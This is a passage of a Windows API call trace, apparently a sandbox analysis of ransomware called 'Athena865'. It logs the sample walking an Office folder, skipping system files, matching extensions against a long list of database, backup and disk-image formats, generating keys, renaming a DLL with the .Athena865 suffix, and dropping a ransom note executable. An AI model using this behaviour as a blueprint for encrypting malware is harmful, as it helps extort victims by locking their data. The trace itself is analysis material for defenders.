CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68670, lpName=0x0) returned 0x17c [0084.235] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x68670) returned 0x2d50000 [0084.254] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.255] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.255] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.256] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.261] CloseHandle (hObject=0x17c) returned 1 [0084.261] CloseHandle (hObject=0x154) returned 1 [0084.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.263] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PTXT9.DLL", cAlternateFileName="")) returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2=".") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="..") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="windows") returned -1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="bootmgr") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="temp") returned -1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="pagefile.sys") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="boot") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="ids.txt") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="ntuser.dat") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="perflogs") returned 1 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2="MSBuild") returned 1 [0084.263] lstrlenW (lpString="PTXT9.DLL") returned 9 [0084.263] lstrcpyW (in: lpString1=0x241e89e, lpString2="PTXT9.DLL" | out: lpString1="PTXT9.DLL") returned="PTXT9.DLL" [0084.263] lstrlenW (lpString="PTXT9.DLL") returned 9 [0084.263] lstrlenW (lpString="Athena865") returned 9 [0084.263] lstrlenW (lpString=".dll") returned 4 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2=".dll") returned 1 [0084.263] lstrlenW (lpString=".lnk") returned 4 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2=".lnk") returned 1 [0084.263] lstrlenW (lpString=".ini") returned 4 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2=".ini") returned 1 [0084.263] lstrlenW (lpString=".sys") returned 4 [0084.263] lstrcmpiW (lpString1="PTXT9.DLL", lpString2=".sys") returned 1 [0084.264] lstrlenW (lpString="PTXT9.DLL") returned 9 [0084.264] lstrlenW (lpString="bak") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.264] lstrlenW (lpString="ba_") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.264] lstrlenW (lpString="dbb") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.264] lstrlenW (lpString="vmdk") returned 4 [0084.264] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.264] lstrlenW (lpString="rar") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.264] lstrlenW (lpString="zip") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.264] lstrlenW (lpString="tgz") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.264] lstrlenW (lpString="vbox") returned 4 [0084.264] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.264] lstrlenW (lpString="vdi") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.264] lstrlenW (lpString="vhd") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.264] lstrlenW (lpString="vhdx") returned 4 [0084.264] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.264] lstrlenW (lpString="avhd") returned 4 [0084.264] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.264] lstrlenW (lpString="db") returned 2 [0084.264] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.264] lstrlenW (lpString="db2") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.264] lstrlenW (lpString="db3") returned 3 [0084.264] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.264] lstrlenW (lpString="dbf") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.265] lstrlenW (lpString="mdf") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.265] lstrlenW (lpString="mdb") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.265] lstrlenW (lpString="sql") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.265] lstrlenW (lpString="sqlite") returned 6 [0084.265] lstrcmpiW (lpString1="T9.DLL", lpString2="sqlite") returned 1 [0084.265] lstrlenW (lpString="sqlite3") returned 7 [0084.265] lstrcmpiW (lpString1="XT9.DLL", lpString2="sqlite3") returned 1 [0084.265] lstrlenW (lpString="sqlitedb") returned 8 [0084.265] lstrcmpiW (lpString1="TXT9.DLL", lpString2="sqlitedb") returned 1 [0084.265] lstrlenW (lpString="xml") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.265] lstrlenW (lpString="$er") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.265] lstrlenW (lpString="4dd") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.265] lstrlenW (lpString="4dl") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.265] lstrlenW (lpString="^^^") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.265] lstrlenW (lpString="abs") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.265] lstrlenW (lpString="abx") returned 3 [0084.265] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.265] lstrlenW (lpString="accdb") returned 5 [0084.265] lstrcmpiW (lpString1="9.DLL", lpString2="accdb") returned -1 [0084.265] lstrlenW (lpString="accdc") returned 5 [0084.265] lstrcmpiW (lpString1="9.DLL", lpString2="accdc") returned -1 [0084.265] lstrlenW (lpString="accde") returned 5 [0084.265] lstrcmpiW (lpString1="9.DLL", lpString2="accde") returned -1 [0084.266] lstrlenW (lpString="accdr") returned 5 [0084.266] lstrcmpiW (lpString1="9.DLL", lpString2="accdr") returned -1 [0084.266] lstrlenW (lpString="accdt") returned 5 [0084.266] lstrcmpiW (lpString1="9.DLL", lpString2="accdt") returned -1 [0084.266] lstrlenW (lpString="accdw") returned 5 [0084.266] lstrcmpiW (lpString1="9.DLL", lpString2="accdw") returned -1 [0084.266] lstrlenW (lpString="accft") returned 5 [0084.266] lstrcmpiW (lpString1="9.DLL", lpString2="accft") returned -1 [0084.266] lstrlenW (lpString="adb") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.266] lstrlenW (lpString="adb") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.266] lstrlenW (lpString="ade") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.266] lstrlenW (lpString="adf") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.266] lstrlenW (lpString="adn") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.266] lstrlenW (lpString="adp") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.266] lstrlenW (lpString="alf") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.266] lstrlenW (lpString="ask") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.266] lstrlenW (lpString="btr") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.266] lstrlenW (lpString="cat") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.266] lstrlenW (lpString="cdb") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.266] lstrlenW (lpString="ckp") returned 3 [0084.266] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.266] lstrlenW (lpString="cma") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.267] lstrlenW (lpString="cpd") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.267] lstrlenW (lpString="dacpac") returned 6 [0084.267] lstrcmpiW (lpString1="T9.DLL", lpString2="dacpac") returned 1 [0084.267] lstrlenW (lpString="dad") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.267] lstrlenW (lpString="dadiagrams") returned 10 [0084.267] lstrlenW (lpString="daschema") returned 8 [0084.267] lstrcmpiW (lpString1="TXT9.DLL", lpString2="daschema") returned 1 [0084.267] lstrlenW (lpString="db-journal") returned 10 [0084.267] lstrlenW (lpString="db-shm") returned 6 [0084.267] lstrcmpiW (lpString1="T9.DLL", lpString2="db-shm") returned 1 [0084.267] lstrlenW (lpString="db-wal") returned 6 [0084.267] lstrcmpiW (lpString1="T9.DLL", lpString2="db-wal") returned 1 [0084.267] lstrlenW (lpString="dbc") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.267] lstrlenW (lpString="dbs") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.267] lstrlenW (lpString="dbt") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.267] lstrlenW (lpString="dbv") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.267] lstrlenW (lpString="dbx") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.267] lstrlenW (lpString="dcb") returned 3 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.267] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.268] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL.Athena865") returned 62 [0084.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ptxt9.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ptxt9.dll.athena865"), dwFlags=0x1) returned 1 [0084.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ptxt9.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.271] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=909696) returned 1 [0084.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.271] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.272] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.272] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.272] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde480, lpName=0x0) returned 0x17c [0084.275] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde480) returned 0x2d50000 [0084.308] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.309] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.309] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.310] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.318] CloseHandle (hObject=0x17c) returned 1 [0084.318] CloseHandle (hObject=0x154) returned 1 [0084.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.327] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBBA", cAlternateFileName="")) returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2=".") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="..") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="windows") returned -1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="bootmgr") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="temp") returned -1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="pagefile.sys") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="boot") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="ids.txt") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="ntuser.dat") returned 1 [0084.327] lstrcmpiW (lpString1="PUBBA", lpString2="perflogs") returned 1 [0084.328] lstrcmpiW (lpString1="PUBBA", lpString2="MSBuild") returned 1 [0084.328] lstrlenW (lpString="PUBBA") returned 5 [0084.328] lstrcpyW (in: lpString1=0x241e89e, lpString2="PUBBA" | out: lpString1="PUBBA") returned="PUBBA" [0084.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b750 [0084.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a260 [0084.328] lstrcatW (in: lpString1="PUBBA", lpString2="\\" | out: lpString1="PUBBA\\") returned="PUBBA\\" [0084.328] lstrcatW (in: lpString1="PUBBA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PUBBA\\HOW TO BACK YOUR FILES.exe") returned="PUBBA\\HOW TO BACK YOUR FILES.exe" [0084.328] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\how to back your files.exe"), bFailIfExists=1) returned 1 [0084.334] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2=".") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="..") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="windows") returned -1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="bootmgr") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="temp") returned -1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="pagefile.sys") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="boot") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="ids.txt") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="ntuser.dat") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="perflogs") returned 1 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="MSBuild") returned 1 [0084.334] lstrlenW (lpString="PUBCONV.DLL") returned 11 [0084.334] lstrcpyW (in: lpString1=0x241e89e, lpString2="PUBCONV.DLL" | out: lpString1="PUBCONV.DLL") returned="PUBCONV.DLL" [0084.334] lstrlenW (lpString="PUBCONV.DLL") returned 11 [0084.334] lstrlenW (lpString="Athena865") returned 9 [0084.334] lstrcmpiW (lpString1="BCONV.DLL", lpString2="Athena865") returned 1 [0084.334] lstrlenW (lpString=".dll") returned 4 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2=".dll") returned 1 [0084.334] lstrlenW (lpString=".lnk") returned 4 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2=".lnk") returned 1 [0084.334] lstrlenW (lpString=".ini") returned 4 [0084.334] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2=".ini") returned 1 [0084.335] lstrlenW (lpString=".sys") returned 4 [0084.335] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2=".sys") returned 1 [0084.335] lstrlenW (lpString="PUBCONV.DLL") returned 11 [0084.335] lstrlenW (lpString="bak") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.335] lstrlenW (lpString="ba_") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.335] lstrlenW (lpString="dbb") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.335] lstrlenW (lpString="vmdk") returned 4 [0084.335] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.335] lstrlenW (lpString="rar") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.335] lstrlenW (lpString="zip") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.335] lstrlenW (lpString="tgz") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.335] lstrlenW (lpString="vbox") returned 4 [0084.335] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.335] lstrlenW (lpString="vdi") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.335] lstrlenW (lpString="vhd") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.335] lstrlenW (lpString="vhdx") returned 4 [0084.335] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.335] lstrlenW (lpString="avhd") returned 4 [0084.335] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.335] lstrlenW (lpString="db") returned 2 [0084.335] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.335] lstrlenW (lpString="db2") returned 3 [0084.335] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.336] lstrlenW (lpString="db3") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.336] lstrlenW (lpString="dbf") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.336] lstrlenW (lpString="mdf") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.336] lstrlenW (lpString="mdb") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.336] lstrlenW (lpString="sql") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.336] lstrlenW (lpString="sqlite") returned 6 [0084.336] lstrcmpiW (lpString1="NV.DLL", lpString2="sqlite") returned -1 [0084.336] lstrlenW (lpString="sqlite3") returned 7 [0084.336] lstrcmpiW (lpString1="ONV.DLL", lpString2="sqlite3") returned -1 [0084.336] lstrlenW (lpString="sqlitedb") returned 8 [0084.336] lstrcmpiW (lpString1="CONV.DLL", lpString2="sqlitedb") returned -1 [0084.336] lstrlenW (lpString="xml") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.336] lstrlenW (lpString="$er") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.336] lstrlenW (lpString="4dd") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.336] lstrlenW (lpString="4dl") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.336] lstrlenW (lpString="^^^") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.336] lstrlenW (lpString="abs") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.336] lstrlenW (lpString="abx") returned 3 [0084.336] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.336] lstrlenW (lpString="accdb") returned 5 [0084.336] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0084.337] lstrlenW (lpString="accdc") returned 5 [0084.337] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0084.337] lstrlenW (lpString="accde") returned 5 [0084.337] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0084.337] lstrlenW (lpString="accdr") returned 5 [0084.337] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0084.337] lstrlenW (lpString="accdt") returned 5 [0084.337] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0084.337] lstrlenW (lpString="accdw") returned 5 [0084.337] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0084.337] lstrlenW (lpString="accft") returned 5 [0084.337] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0084.337] lstrlenW (lpString="adb") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.337] lstrlenW (lpString="adb") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.337] lstrlenW (lpString="ade") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.337] lstrlenW (lpString="adf") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.337] lstrlenW (lpString="adn") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.337] lstrlenW (lpString="adp") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.337] lstrlenW (lpString="alf") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.337] lstrlenW (lpString="ask") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.337] lstrlenW (lpString="btr") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.337] lstrlenW (lpString="cat") returned 3 [0084.337] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.337] lstrlenW (lpString="cdb") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.338] lstrlenW (lpString="ckp") returned 3 [0084.338] lstrcmpiW 